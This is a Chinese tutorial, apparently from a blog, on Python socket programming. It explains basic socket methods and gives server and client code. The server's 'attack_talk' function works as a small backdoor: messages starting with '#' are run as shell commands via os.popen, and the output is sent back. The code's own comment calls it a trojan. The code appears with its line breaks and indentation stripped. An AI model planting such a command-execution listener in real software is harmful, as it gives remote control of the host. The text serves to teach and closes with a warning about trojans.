前言
套接字(Sockets)是双向通信信道的端点。 套接字可以在一个进程内,在同一机器上的进程之间,或者在不同主机的进程之间进行通信,主机可以是任何一台有连接互联网的机器。
一、基本语法
创建套接字,必须使用套接字模块中的socket.socket()函数。
s.bind(),此方法将地址(主机名,端口号对)绑定到套接字。
s.listen()此方法设置并启动TCP侦听器.
s.accept()这被动地接受TCP客户端连接,等待直到连接到达(阻塞),如未设置,每次只能连接一个客户端
s.recv()此方法接收TCP消息。
s.send()该方法发送TCP消息
s.recvfrom()此方法接收UDP消息
s.sendto()此方法发送UDP消息
s.close()此方法关闭套接字
socket.gethostname()返回主机名
二、代码实现
1.服务端
import osimport socketdef normal_talk():s=socket.socket()#不带括号返回的是地址s.bind(('127.0.0.1',6667))#只允许本设备进行访问0.0.0.0所有设备均可访问s.listen()chanle,client=s.accept() #无法接收多个客户端while True:#chanle,client=s.accept()#接收客户端连接并返回数据和客户端地址,会进入阻塞状态,等待一个新的客户端连接receive=chanle.recv(1024).decode()#decode解码,encode转码print(f'收到消息:{receive}')reply=receive.replace('吗?',"!")chanle.send(reply.encode())#s.close()#在死循环之后的代码不能执行# 一个python文件通常有两种使用方法,第一是作为脚本直接执行,第二是# import 到其他的# python# 脚本中被调用(模块重用)执行。因此# if __name__ == 'main': 的作用就是控制这两种情况执行代码的过程,在# if __name__ == 'main': 下的代码只有在第一种情况下(即文件作为脚本直接执行)才会被执行,而# import 到其他脚本中是不会被执行的。#核心思路:客户端发送一条特殊字符串,里面包含要执行的命令,让服务端执行命令并返回结果def attack_talk():s = socket.socket()# 不带括号返回的是地址try: s.bind(('127.0.0.1', 6667)) # 只允许本设备进行访问0.0.0.0所有设备均可访问s.listen()chanle, client = s.accept() # 无法接收多个客户端while True:# chanle,client=s.accept()#接收客户端连接并返回数据和客户端地址,会进入阻塞状态,等待一个新的客户端连接receive = chanle.recv(10240).decode()# decode解码,encode转码if receive.startswith('#'):#判断字符串是否以#开头command=receive.split(',')[-1]reply=os.popen(command).read()#接收到的命令,小马chanle.send(f"命令{command}的运行结果:\n{reply}".encode())#发送数据,默认编码utf8elif receive==None:attack_talk()else:print(f'收到消息:{receive}')reply = receive.replace('吗?', "!")chanle.send(reply.encode())except:s.close()attack_talk()if __name__=='__main__':attack_talk()#当其他python文件调用这个函数时,这里面的不会被执
2.客户端
import sockets=socket.socket()s.connect(('127.0.0.1',6667))#建立连接while True:message=input('请输入消息:')s.send(message.encode())#客户端给服务端发送消息,默认以utf8方式编码re=s.recv(10240)#客户端接收服务端发送的消息print(f'服务器回复:{re.decode()}')
总结
对于网上下载的应用,应留以戒心,防止其中包含恶意木马,危害自身隐私安全